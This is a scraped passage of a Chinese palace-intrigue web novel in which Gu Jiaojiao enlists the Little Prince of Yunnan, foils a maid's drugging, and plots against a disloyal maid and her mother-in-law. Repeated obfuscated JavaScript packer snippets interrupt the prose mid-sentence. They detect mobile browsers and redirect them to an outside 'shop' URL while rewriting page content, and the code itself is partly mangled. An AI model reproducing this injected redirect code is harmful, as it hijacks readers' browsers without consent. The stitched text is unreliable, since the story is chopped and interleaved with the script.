顾皎皎笑了笑:“可在我眼中,小云南王也有可能是沈郎。” 她将在第一楼遇到沈云祉与徐青青还有另一名男子的事告知,莺儿闻言捂住唇十分惊讶:“啊,事情竟这般复杂,那姑娘,这可如何是好啊!” 顾皎皎垂首沉思,片刻后她抬眸淡声道:“你且去查查小云南王这两日都在何处。” “姑娘,您是想?” 她眯眼:“小云南王在国公府宴席上出手相助一次,我想赌一赌他会不会帮我第二次。” 莺儿很快便将沈云祉的行踪调查清楚,顾皎皎用毫笔在泛舟二字上画了一个圈。 “小云南王整日都忙碌得紧,看来看去竟也只有泛舟之时空闲些。” 莺儿担忧:“可是姑娘,目前尚未知小云南王与孙三外室是何关系,若是他们关系匪浅,待舟泛湖上,您难免孤木难支……” 顾皎皎点头:“我知道,所以,你且去给我采购些保命的东西。” 她将纸张递给莺儿。 莺儿看了一眼便拿着纸张离开。 很快到了小云南王泛舟这日,顾皎皎提前打听好一切,她寅时便悄悄从安阳侯府直奔沈云祉泛舟之处,将一切处理好,太阳已然露出一个头。 料到他快要过来了,顾皎皎擦了擦额角汗水,端庄坐在船内的木桌前。 果然,没过多久外边便传来脚步声。 顾皎皎仔细听了听,面色微变,今日泛舟之人竟并非小云南王一人,听这杂乱的脚步声,应当至少有四五人! 小云南王的朋友,应当也是京中权贵,若是让他们见到自己独身一人坐在小云南王的船上,难免不会谣言四起。 不行,绝不能让人瞧见她! 顾皎皎当即站起身,她走向船尾处就要往下跳,结果船帘却被掀开。 她心中一紧,回眸与掀帘之人对视。 沈云祉着实吓了一跳,他没料到顾皎皎竟在自己船上。 她今日着了一席碧霞云锦裙,白皙光滑的面颊上带着淡淡酡红,唇瓣微张,向来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017249|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉着冷静的眸中竟带着些许慌乱。 清晨朦胧的霞光渡在她身上,带着如梦似幻的美感。 眼见顾皎皎便要纵身一跃跳进湖里,沈云祉心中一紧,他赶忙拉住她的一截衣袖。 顾皎皎愣住,他这是不让她走? 二人对视了数秒,船外响起催促声:“小王爷,怎么了,快些进船吧。” “是啊小王爷,您怎的不进去,可是船内摆设不喜欢?” 外边人说着便要掀开帘子进来,顾皎皎着急,她用力扯了扯衣摆,却徒劳无功。 沈云祉伸手拦在船帘处,本欲进船之人被拦在外边。 那人疑惑:“小王爷,您这是?” 沈云祉直直看着顾皎皎,一字一句道:“今日本王忽觉头痛,不如泛舟便改日吧,诸位请回。” 空气寂静了两秒,船外人很快反应过来,一同拱手告辞。 虽他们不知小云南王为何忽然改变心意,可既然他发了话,便也只能遵从。 其中一名 年轻男子摸了摸额头,他自言自语道:“方才风吹起船帘时,我好像瞧见了女子衣裙,你们说小王爷是不是有了心上人?” 另一名中年男子斥道:“你不要命了,竟敢妄议小王爷一事,还是快些走吧!” 待船外脚步声消失,顾皎皎这才松了一口气。 沈云祉松开手,他进入船内坐下,径直倒了两盏茶。 他端起茶轻抿:“顾夫人,不若坐下喝杯茶,好好与我说道说道你为何会出现在我的船中?” 顾皎皎颇觉尴尬,她笑了笑:“今日叨扰实属无礼,我深感愧疚,不过确是有事求助,是以才会这般无礼。” 与她见过这么多面,倒是头次见她这般服软。 纵使知晓她今日来此目的是何,他还是装作不知情。 他将茶盏放置在桌上,用无波无澜的眸子看向顾皎皎:“顾夫人,即是求助,便应拿出求人的态度。” 沈云祉手中折扇打开,下一秒,顾皎皎腰间软管与透明细线皆被一分为二。 第三十五章 究竟是何人 折扇勾着软管飞向沈云祉,顾皎皎下意识伸手想拉住,指尖却连软管都未曾够到。 软管转瞬到了沈云祉手中,他握住软管打量片刻,眸子似笑非笑看向她:“顾夫人,这是什么?” “这……”顾皎皎心虚,她将视线移向别处,她总不能说这是为了防备他伤害自己,特意准备工具吧? 视线落在沈云祉腰间的白玉腰带上,她灵光一闪:“这是京城新出的腰带款式,名叫草萤,虽其貌不扬,但胜在独特,是以便佩戴上了。” 草萤? 沈云祉眸中划过一抹笑意,从前他怎的未发现,这顾皎皎胡扯的话,竟张口就来。 什么腰带,分明是潜水时用于呼吸的软管。 他看了一眼若隐若现的透明丝线,心下已经大致了然。 顾皎皎察觉到沈云祉的视线,她的心高高悬起,若是让他再发现了丝线,她该如何解释? 好在沈云祉很快便移开了视线,他将软管递还:“顾夫人,你的草萤,物归原主。” 不知是不是顾皎皎的错觉,她总觉得小云南王的嘴角要扬不扬,好似是在憋笑? 现下她管不了这么多了,她直入正题:“小王爷,我给你看一样东西。” 沈云祉:“可。” 顾皎皎从怀中将信封递给沈云祉:“小王爷,您且看看这个。” 看着熟悉的信封,沈云祉微微挑眉,他知晓顾皎皎在查徐青青,所以让双剑将这封信放在徐青青住处显眼地方。 他知晓今日她冒险来船上多半是为了信封一事,可未曾料到她却这般直接。 打开信封,一目十行看完,沈云祉道:“顾夫人是觉得这信中的沈郎是本王?” 顾皎皎不动声色观察面前之人的神色,见他面色坦然,她才笑着道:“我自是不敢怀疑小王爷您的,只是您的人脉广,所以想让您帮忙查查这沈郎究竟是何人。” “那你太过高看本王了。”沈云祉将信封递还:“瞧这纸张似乎是麻纸,我朝麻纸盛行之时乃是十多年前之事,后面人们便逐渐改为用棉纸、宣纸,因此这封信应当有些年头了,本王还未手眼通天到能查清十多二十年之前的事儿。” 说者有心,听者亦有心。 顾皎皎眼眸一亮:“多谢小王爷指点。” 拿到信封时,她虽觉得纸张老旧却并未往这方面想,如今经过小云南王分析,那这信封便不可能是徐青青的。 不是徐青青的,却出现在她的住处……那这封信应当还是与她有纠葛,比如……写信之人是她的母亲,沈郎便有可能是一回京便去看她的平王…… 平王府中并无子嗣,所以,徐青青应当是平王的私生女! 看她神情,沈云祉便知她已经理清思路,眸中划过一抹赞赏之色,她很聪明。 顾皎皎恰在此时抬头,碰巧瞧见他眼中来不及收起的情绪,她深感意外。 小云南王这是什么表情? 一个猜测在心中陡然升起,顾皎皎后背微凉,麻纸在京都虽然是在一二十年前盛行,但并不代表信件便是一二十年前写的,那他为何这般笃定? 越想越心惊,她试探道:“小王爷,这信中之人您可是认识,否则为何会知晓信写下的具体时间?” 沈云祉笑而不语,片刻后才道:“本王识不识得写信之人重要吗?想来如今顾夫人今日已然知晓了想知晓之事,重要的是顾夫人准备如何做。” 所以,小云南王这意思是默认了他认识信中的两名主角? 事到如今,顾皎皎哪里还能不明白,螳螂捕蝉黄雀在后,小云南王便是黄雀,她为了找到丁点线索沾沾自喜,殊不知,这线索是有心人有意助之。 她面上笑容真切了几分:“小云南王说笑了,我不过一介弱质女流,我能做什么?不过既然他们是有情人,那自然得帮他们有情人终成眷属才是。” 沈云祉似乎对这个话题不感兴趣,他闭眸假寐,不再言语。 知晓她这是下了逐客令,顾皎皎放轻脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017250|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步离开。 回到安阳侯府时天色已晚,莺儿同寻常那般在后门处等着她。 顾皎皎无奈:“其实你不必次次都来等我,旁人瞧见你反而会起疑。” 莺儿:“姑娘,奴婢也不想的,只是如今咱们皎月阁可谓是豺狼虎豹窝,那香儿和秋容盯得十分紧,奴婢好不容易把她们打发走,可不得赶紧来看看您什么时候回来。” “我倒是把香儿给忘了。”顾皎皎解下披风递给莺儿:“罢了,先留着她,免得打草惊蛇。” 莺儿:“姑娘今日可是全都打探清楚了?” 顾皎皎点头:“大致了解了八九不离十。” 见主子要从小道回皎月阁,莺儿赶忙拦下:“姑娘,此处要经过花房,秋容方才被奴婢打发到了花房干活儿,若是瞧见您这么晚从小道回去,她定会生疑,指不定又会到老夫人跟前说三道四呢!” “这有什么?”顾皎皎勾唇:“我还真怕她不去说三道四呢,就走小道,还得从她跟前走过去。” 秋容拿着一把大剪刀乱剪花草泄愤,手上伤口尚未痊愈,她一用力便又渗出血来。 哐当一声,她 恨恨将剪刀砸到地上:“都欺负我,人人都欺负我,带我日后有权有势时,定然把她们都抽皮拔筋!” 看着手上渗出的鲜血,秋容神色阴郁,那老虔婆当真心思歹毒,竟想出在解药中加入食盐的恶毒法子来对付自己。 若不是往上爬还需她助力,她定然不会忍下这口气。 且等着吧,等她达成目的那日,她也得让那老虔婆尝尝食盐腐蚀伤口的滋味! 吱嘎,树枝被踩断的声音打断了秋容的思绪,她看向黑暗处,隐隐约约有两个身影走过来。 秋容瞧了瞧,竟觉得那身影轮廓十分熟悉,她赶忙躲起来偷偷观察。 待人影走近,她才发现是顾皎皎与莺儿,二人步履匆匆。 莺儿神色不安地左右张望:“姑娘,奴婢害怕,会不会被别人发现啊?” 第三十六章 动了手脚 顾皎皎冷脸斥责:“瞧你这胆小的样子,咱们做的这般隐蔽怎会被人发现?若是你实在不放心,大不了我暂时不去见他便是,有何大不了的?” 莺儿快哭了:“姑娘,这有违人伦,您以后都别见他了吧?若是被老夫人发现了,咱们吃不了兜着走啊!” 顾皎皎一口回绝:“这事绝不可能,快些走吧,要是因着你罗里吧嗦被人发现了,你看我怎么收拾你!” 交谈声渐行渐远,直到听不见一点声儿,秋容才站起身来。 心中的负面情绪全部消散,如今只剩欣喜,她仿佛已经瞧见权利、地位,在朝着自己招手。 秋容看着顾皎皎离开的方向冷笑:“之前还说什么我变了,你不是也变了吗?从前老爷在时尚且规规矩矩,如今嫁人不过两年便如此放荡不堪,夫君不碰自己,竟然便外出找情郎……” 三两下清洗干净手上的泥土,她抬脚便要往孙老夫人住处走去,刚走两步,秋容停了下来。 她犹豫,若是早早的便去禀报老夫人,到时若又闹乌龙可怎么办? 想了想,她一不做二不休,决定继续观察一番,待找到实质性证据再一同呈给老夫人。 此后数日,秋容一有时间便凑到顾皎皎跟前伺候,而顾皎皎也不似往常那样推拒。 顾皎皎坐在梳妆镜前,她从镜中看向秋容到:“秋容,我记得你绾发十分好,来替我绾发吧。” “是,姑娘。” 秋容走过去,熟练的便要绾一个妇人发髻,顾皎皎皱眉:“不要这个,太过老成,要飞仙髻。” “飞仙髻?”秋容为难:“可是姑娘,那个发髻多是未出阁的少女梳的,您嫁人已逾两年,怕是不妥……” 顾皎皎皱眉:“没什么不妥的,我是主子还是你是主子?就给我梳飞仙髻,快些,待会儿我还要出去的!” 闻言,秋容眸光闪了闪:“姑娘近些日子出府很勤,是店铺比较忙吗?” 顾皎皎:“是,哎,你莫要啰嗦,快些。” 秋容将她面上一闪而过的心虚之色尽收眼底,心中对顾皎皎去见情郎一事越发笃定。 从前姑娘不似这般爱美,梳什么发髻更不会有要求,可如今她这般爱美…… 秋容三两下将发髻梳好:“姑娘,您看满意与否,需要奴婢改改吗?” 顾皎皎看向镜中,她摸了摸发髻尾巴满意点头:“你的手艺一如既往地好,行了你且退下吧,我出府还有事儿要办。” “是姑娘。” 秋容目送顾皎皎离开,见四周无人,她悄悄从怀中掏出透明的细小丝线套在门上,丝线另一头,是一个小巧精致的铃铛。 将铃铛牵到墙角放好后,她将手中尘土拍了个干净。 近日,姑娘漏出的马脚颇多,纵然已经确定她有情郎一事八九不离十,可为了保险起见,还需再确定一下。 这个铃铛与姑娘寝屋房门相连,房门被推开,丝线便会断裂,与此同时铃铛会响,待铃铛一响,她便找准时机进寝屋伺候姑娘洗漱。 若真是与情郎有了苟且之事,那必定会有痕迹。 秋容得意一笑,况且为了更早找到证据,今日绾发之时她还动了手脚…… 顾皎皎出府后便到了第一楼,她将将坐定,小腹处却传来微微燥热之感。 她倒了一杯冷茶灌下,想要将那股子燥热压下去,却徒劳无功。 身体的这种感觉十分熟悉,与那夜寒奉寺时大致相同,如今她哪里不明白,她这是又中了媚药。 顾皎皎眼眸冰冷,她咬牙切齿:“秋容,你好样的!” 药效随着时间推移越发猛烈,顾皎皎竟觉头脑发昏,浑身仿佛火炉子似的。 “得去找大夫……”她站起身跌跌撞撞往外走。 第一楼是她的产业,在自己的地盘自然没什么危险,可她平时为了安静,从不让楼中人上来打扰,为了迷惑秋容,莺儿她也没带出来,是以,此刻她只能自己走下去找掌柜的。 吱嘎,房门打开,顾皎皎快步往外走,这药的药性十分大,现下她只觉得腿脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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待秋容离开,莺儿关上门,她担忧道:“姑娘,您怎的换了衣服,还有您脖颈上的痕迹是怎么回事……难道您当真与小云南王……” 第三十七章 难以启齿 顾皎皎闻言沉默,低垂下头久久未言。 莺儿见状急了,她手捂住唇低声道:“姑娘,您不说话是何意,当真是奴婢猜测的那般?” 顾皎皎仍旧不言,待转角处的黑影离开后,她才轻轻摇头:“怎会?小王爷身份贵重,哪里会与我一个有夫之妇纠缠?” 莺儿不服:“有夫之妇怎么了,依奴婢看来,姑娘您配小云南王绰绰有余。” 顾皎皎笑着看她一眼:“重点是在配得上配不上吗?听你这话的意思,你倒是十分希望我与他在一处?” “才没有呢!”莺儿忙反驳:“奴婢只是见不得姑娘这般看轻自己罢了。” 目光落在顾皎皎满是暧昧痕迹的脖颈上,她询问道:“姑娘……那您身上的痕迹是怎么回事?” 顾皎皎挑眉:“你以为这些都是小云南王做的?” 莺儿:“姑娘您是小云南王送回来的,若不是小云南王,您身上为何满是痕迹……” 想到那人克制守礼的模样,顾皎皎一阵恍惚。 片刻后,她喃喃:“这些啊……” 她拧了一把湿帕子轻轻擦拭满是红痕的脖颈,不消片刻,脖颈恢复光滑白皙。 莺儿目瞪口呆:“是假的啊!” “姑娘,您快吓死奴婢了,奴婢当真以为……以为……” 莺儿咬唇,剩下的话终归觉得难以启齿,未说出口。 顾皎皎微微一笑:“我知你担忧,可今日之事乃是将计就计,是以我也未曾料到。” “只是秋容如今飘了,胆子实在是大,竟然明目张胆给我下药!” 莺儿也义愤填膺:“可不是么,亏得姑娘您之前还对她这般好,她简直就是一个白眼狼,无耻至极!” “老夫人用掺了食盐的解药收拾她,她竟也忍了,可真是一条忠心耿耿的好狗啊!” “确实忠心。”顾皎皎嗤笑:“不过,她忠心的乃是钱财、地位这等俗物罢了,依着她的性子,她应当是暗地里憋大招,待她达成所愿后,新仇旧账一起算。” “那感情好。”莺儿眼眸晶亮:“姑娘,您说得我都想快些将秋容打包送到孙三塌上了,想来看她与老夫人狗咬狗定然有趣!” 顾皎皎摇头哑然失笑,片刻后她道:“你且派人去盯着秋容,必要时可以配合她。” “是,姑娘。” 秋容避开皎月阁所有人前往老夫人寝屋,一路上出乎意料的顺遂,她沾沾自喜,觉得定然是自己十分聪慧,是以才会这般,殊不知身后跟了一条小尾巴。 孙老夫人恹恹坐在桌前,看着桌上点心,她胃口不佳。 宋嬷嬷:“老夫人,若是这个点心不和胃口,奴婢去给您换一种?” “换什么换?”孙老夫人摆手:“换来换去也不过就那几样罢了,吃得腻味。” 从前顾皎皎掌家时,每日琳琅满目的点心都十分美味,且日日都有三碗燕窝,向来由奢入俭难,如今她撂挑子不干了,就凭安阳侯府公中这点子银两,哪里能供应得起。 越想孙老夫人越气,她握紧手中银勺:“秋容那里还是没有消息?” 她已经迫不及待想将顾皎皎的嫁妆吞了,然后将她扫地出门,有了她手中的金山银山,安阳侯府便富得流油,若日后协兆娶了徐青青,那钱权都有了,又何愁不能恢复往日鼎盛? 说曹操,曹操到。 老夫人话音刚落,院外女使便进来禀报:“老夫人,三夫人院中的秋容求见,您可要见?” “让她进来吧。” 片刻后,女使带着秋容进入屋内。 冷眼看着秋容行了礼后,孙老夫人道:“你来做什么,也不知谨慎些,若是被你家姑娘知道了,你可是吃不了兜着走。” 秋容:“回老夫人,若是无事奴婢定然不会冒险来见您的。” 孙老夫人微微坐直身子:“可是顾皎皎哪儿有什么发现?” 秋容点头,她为难看了看周边伺候的女使,孙老夫人立马会意,她看向宋嬷嬷:“你且将她们打发出去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017252|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清了场,她皱眉看向秋容:“现如今可以说了吧?整这么大的排场,若是你带来的消息没什么价值,你看我怎么收拾你!” 秋容谄媚一笑:“老夫人放心,定然有价值。” 见孙老夫人快没了耐心,她上前两步压低声音道:“老夫人,奴婢前些日子瞧见姑娘晚上鬼鬼祟祟从小道回皎月阁,她与莺儿还在说什么见不见之类的话。” “奴婢就此留了心眼,这段时间一直悄悄观察着姑娘,昨夜姑娘又是很晚才归,奴婢端水去伺候姑娘洗漱时,见她满身都是暧昧的红痕,头发也披着,并且连衣服都不是出去时穿的那身!” 孙老夫人手紧紧握住凳子把手:“顾皎皎竟这般大胆,偷吃了也不知将嘴擦净才回,这顶绿帽可真是太大了,将协兆放在何处!” 秋容无语,当初老夫人在寒奉寺给姑娘下药时,可有考虑过姑爷的绿帽问题? 秋容笑:“老夫人,总归是如了您的意。” 孙老夫人冷哼:“也是。” “你且好好盯着顾皎皎,一但看见她与情夫厮混,便立马来通知我,我让人将他们 堵在床上。” 她眯眼,混黄的眼中满是算计与狠毒,她倒要看看,被不着寸缕的捉了奸,被休弃后,顾皎皎还有什么脸面提带走嫁妆一事! 秋容:“老夫人的吩咐奴婢自然会全力完成。” 她顿了顿:“可老夫人答应奴婢的事儿……” 孙老夫人目露不耐,她摆手:“放心,事成之后答应你的事情定会兑现,不过多一个妾室罢了,我安阳侯府养得起。” 秋容赶忙磕头:“多谢老夫人!” 孙老夫人冷睨着她,心中越发不屑,从商户出来的当真上不得台面,主子如此,丫鬟亦是如此。 安阳侯府怎能留这般肤浅之人,那不是白给人看笑话?且等着吧,等秋容没了利用价值,她便将她与她那主子一同赶出安阳侯府! 秋容丝毫不知孙老夫人心中所想,满脑子都是即将成为主子的喜悦。 第三十八章 名正言顺 莺儿将孙老夫人院中发生一事告知,顾皎皎点头,她道:“眼线可还说了什么?” “回姑娘,她说秋容喜滋滋离开后,老夫人发了好大的火,打砸了不少瓷瓶。” 闻言,顾皎皎讥讽一笑:“看来那老虔婆心中也对秋容膈应得很,她可真是个蠢货,她怎的不想想,我虽是商女,可好歹是正经小姐,且手中握了丰厚嫁妆,自嫁到安阳侯府可谓对孙家人有求必应,就我这样的,那老虔婆都不满意,她又怎会满意奴婢出身的秋容呢?” 莺儿:“姑娘说到了点上,但偏偏秋容自视颇高,没有这个觉悟,整日里都做些山鸡变凤凰的美梦!” “罢了,要死的人拦不住。”顾皎皎叹息一声:“由着她去吧,反正我们的主仆情义早便断送在了寒奉寺。” “是,姑娘。” “徐青青那边王吉可查到什么?”顾皎皎状若无意发问,白皙修长的手指有一搭没一搭拨着腰间玉佩。 “啊,姑娘您不说我都差点忘了!” 莺儿拍了拍自己脑门,有些愧疚:“王吉那边查到下月初八,徐青青与平王商量了一场认亲的大戏。” “大戏?” 顾皎皎笑:“可不是得编一场大戏,徐青青才能名正言顺认祖归宗吗?” “平王妃强横,莫看平王在外十分霸道无礼,回了平王府他也就如病猫一般,事事都得顾着平王妃,想来平王府这么多年无喜事,多半也有她的功劳。” 莺儿捂嘴,觉得十分不可置信:“既如此,那平王为何不休了平王妃?还有,姑娘您的意思是平王妃不让徐青青认祖归宗?” “能做王妃的,都是京中数一数二的家族,况且上了皇室玉蝶,哪里这么容易便能休弃?” 顾皎皎继续拨弄腰间玉佩:“听说平王妃这几年经常寻医问药,想来还是想诞下嫡子嫡女的,若是平王简简单单将徐青青带回平王府,长女身份被抢,平王妃那边必会使手段,平王不一定能护住她。” “若是编排一场认亲大戏,那便是将徐青青推到了天下人面前,上至皇上皇后,下至市井小民,都知平王府找回了一个郡主,你说若是这般情况下,平王妃可还敢轻易动手?” 莺儿摇头:“那自是不敢的,若是徐青青当真在平王府出了什么事儿,天下人首当其冲便会怀疑平王妃。” 顾皎皎:“是了,他们这种位高权重之人向来爱惜羽毛,因她们要顾虑的不止自己,还有母族。” 莺儿咬唇,半晌后,她犹豫道:“姑娘,那咱们当真就眼睁睁瞧着徐青青那外室顺顺利利认亲,成为身份尊贵的平王府郡主?” 顾皎皎勾唇笑了笑,唇边挂着不怀好意:“我们当然得睁大眼睛瞧着,只不过将一场大戏变为两场大戏罢了。” 也到了她与徐青青清算的时候了,当初她既有胆子下药害她,那便得承受相应后果! 回了皎月阁,秋容的欣喜之情冲淡了不少,理智也才将将回笼。 方才她只顾着快些将消息带给老夫人,竟忘记了观察姑娘是否起疑。 秋容懊恼不已,翌日,做完花房活计,她端着糕点战战兢兢进入顾皎皎寝屋:“姑娘,小厨房新做了芙蓉糕,奴婢给你端些来垫垫肚子。” 屋内久久无人回应,秋容往里走了些,她边走边小声道:“姑娘,您在吗?” “嗯……” 嘤咛声自床榻方向传来,秋容蹑手蹑脚靠近,果然瞧见床榻上的鹅黄纱帐放下,一只满是暧昧痕迹的手臂无力垂在塌边,顾皎皎正闭眸侧躺在塌上,纤腰盈盈一握。 秋容:“姑娘,奴婢给您带了芙蓉糕,你起来吃点吧?” 慵懒的声音自塌上传来:“我现下不饿,这芙蓉糕你且端去与莺儿分了吧,我还想再睡会儿,待晚膳时候再叫我吧。” 晌午都过了,姑娘竟还在睡,这是昨日与情郎厮混了一日累着了? 秋容心中鄙夷,心中却松了口气,姑娘与往常无异,想来并未对自己生疑,如此甚好。 她恭敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017253|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“是,姑娘,那奴婢便先退下了。” 秋容转身离开,塌上原本眸子紧闭的顾皎皎猛然睁开双眼,她紧紧盯着秋容的背影,眸子冷如寒冰。 日子一天天过去,秋容见顾皎皎整日无知无觉,渐渐的也就越发肆无忌惮起来。 莺儿双手叉腰,气鼓鼓的:“姑娘,奴婢真是一日也不想瞧见秋容了,您瞧她,如今也太过大胆了,竟敢明目张胆到您寝屋里四处搜寻。” “并且她还极其没脸没皮,每次都要顺走姑娘您的首饰!” 顾皎皎与莺儿比起来淡定了不少,她撇了撇茶盏中的浮沫:“这有什么,欲使其灭亡,必先使其疯狂,你且将她这段时日偷拿的东西都记下来,其他的由着她吧。” “是,姑娘。” 顾皎皎放下茶盏:“之前吩咐你做的事情怎样了?” 莺儿点头:“姑娘您放心,那事儿已经办理妥当,必不会掉链子。” “行。”顾皎皎站起身,她行至衣笥前,伸手拿起两套衣衫,一套桃粉色衣衫精致华美,一套浅绿色衣衫中规中矩:“你且去将秋容叫来。” 莺儿见状 眼眸一亮,姑娘这是打算行动了!她忙应了声跑出去寻人。 得知姑娘要见自己,秋容心中有些紧张,她握紧手中才顺到的玉簪。 姑娘是发现有首饰不见了吗? 秋容心中打鼓,却仍不愿放下玉簪,这玉簪自带馨香,她着实喜欢得紧。 罢了,兵来将挡水来土掩,先去瞧瞧再说! 秋容故作镇定,她随着莺儿来到顾皎皎面前:“姑娘,您找奴婢可是有何要事?” “也没什么要事。”她温柔一笑,朝着莺儿与秋容招了招手:“你们二人跟我许久了,劳苦功高,近日我得了两匹布匹,特让成衣铺子做成了衣裳,来,你们且来挑挑喜欢哪套。” 秋容眼眸一亮,竟然还有这种好事! 她的视线在两套衣服中扫了扫,瞬间被桃色衣衫吸引。 第三十九章 也无怨言 桃色衣衫采用上等蜀锦制成,做工走线工整,衣裳上的夹竹桃皆用金线钩织,栩栩如生,暗香浮动。 而另一件浅绿色衣衫则是采用了材质一般的素软缎,中规中矩,无甚出众之处。 秋容贪婪的看着桃色衣衫,她忙上前将衣裳拢进怀里:“姑娘,奴婢喜欢这套。” 顾皎皎勾唇:“你既喜欢,这套衣裳便归你了。” “多谢姑娘!” 秋容闻言欣喜,她将面伏进衣衫中深嗅了一口,淡淡香气涌入鼻腔,这件衣裳正好与那玉簪相配。 想到了什么,她娇羞一笑,草草行了一礼后,扭着腰肢离开。 莺儿瞧着秋容的背影气不打一处来,她呸了一声:“姑娘,您瞧瞧她那小人得志的模样!” “你与她一般见识做什么?”顾皎皎从衣笥中又拿了一套衣裙出来:“这套是你的。” 莺儿看着流光溢彩的衣裙受宠若惊:“姑娘,这么好的衣裳,奴婢哪里用得上?还是留着您自己穿吧。” 纵使她对布匹无甚了解,却也能一眼瞧出,这套衣裙比之秋容那套更为贵重。 说着,她撇了撇嘴:“况且姑娘,奴婢与秋容不同,就算您不给奴婢任何赏赐,奴婢也无怨言!” 顾皎皎笑了笑,眸中满是动容,她的身边也只有莺儿这一个值得信任的人了。 “我自然知晓你的秉性,只是秋容有的,你也得有,收下吧,莫要让我多费口舌。” 莺儿本还想拒绝,可又怕主子生气,是以便收下了。 想到什么,她忽然道:“姑娘,若是秋容未像您预料那般,岂不是前功尽弃?” 顾皎皎轻笑,她看着自己圆润的指甲,漫不经心:“秋容什么性子你还不了解?我既将她当做计划中的一环,自然有十分把握,你放宽心。” 莺儿闻言松了口气:“姑娘心中有数便好。” “嗯,计划照旧,你且去准备准备。” 秋容抱着衣裳兴高采烈回了住处,她将衣服放在塌上,又将枕下玉簪小心翼翼取出。 今夜伺候姑娘睡下后,她便与书房值守的丫鬟商量一番,由她代替去书房伺候姑爷,今日她打扮得美艳些,勾人些,她就不信这姑爷还能是柳下惠不成。 心中有了成算,秋容心情越发愉快,虽然老夫人承诺说待事成后给她一个妾室身份,可她总觉得不安,靠人不如靠己,与其坐以待毙,不如主动出击! 简单梳洗一番,秋容端着烧好的热水前往顾皎皎寝屋。 她走近院中时,听见寝屋内传来小声的窃窃私语,凭着多年的了解,她很快便识别出交谈之人正是是姑娘与莺儿。 这么晚了,他们会交谈何事? 秋容眸光闪了闪,她放缓脚步悄声靠近门缝边上偷瞧,屋内交谈声也逐渐清晰起来。 屋内,顾皎皎背门而坐,她手中正拿着一封书信细细瞧着,莺儿则是规矩站在她身旁。 “姑娘,又是那人的信?” “嗯。” “姑娘,依奴婢看,您与那人还是断了吧,此事若是让姑爷与老夫人知晓了可如何是好啊?” 顾皎皎沉默,半晌后她叹息一声:“你说得有理,可这情意哪里是说割舍就能割舍的……” 秋容虽看不清她的面色,却能从她的背影中感受到一股悲伤的气息。 莺儿哭了:“姑娘,孰轻孰重您得分清,若是您执意要同那人在一处,便是早些与姑爷和离也好,若是您与那人之事被旁人拆穿,您倒是没什么,可老爷黄泉之下怕是也要被人指着脊梁骨骂啊!” 顾皎皎手帕掩面,纤弱的肩膀微微颤抖起来,过了许久,她才沙哑着声儿道:“我与他断了便是,你莫要将父亲攀扯进来……” 说着,她找来宣笔写下一封书信:“你且将这信带去给他,即是要断,总得当面说才是……” “是,姑娘。” 秋容赶忙站起身,她后退几步装作才从院外进来的模样:“莺儿,你这是要去哪儿?” 莺儿赶忙背过身,她胡乱擦了几下脸:“我去哪儿何时要向你报备了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017254|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多嘴多舌!” 说完,她瞪了秋容一眼,抬脚便要从院内离开。 秋容也不恼,她笑呵呵道:“是,都是我多嘴了,那你可得快些回来,待会儿姑娘还得你侍奉着睡呢!” 莺儿摆了摆手,表示自己知道了,而后便头也不回离开。 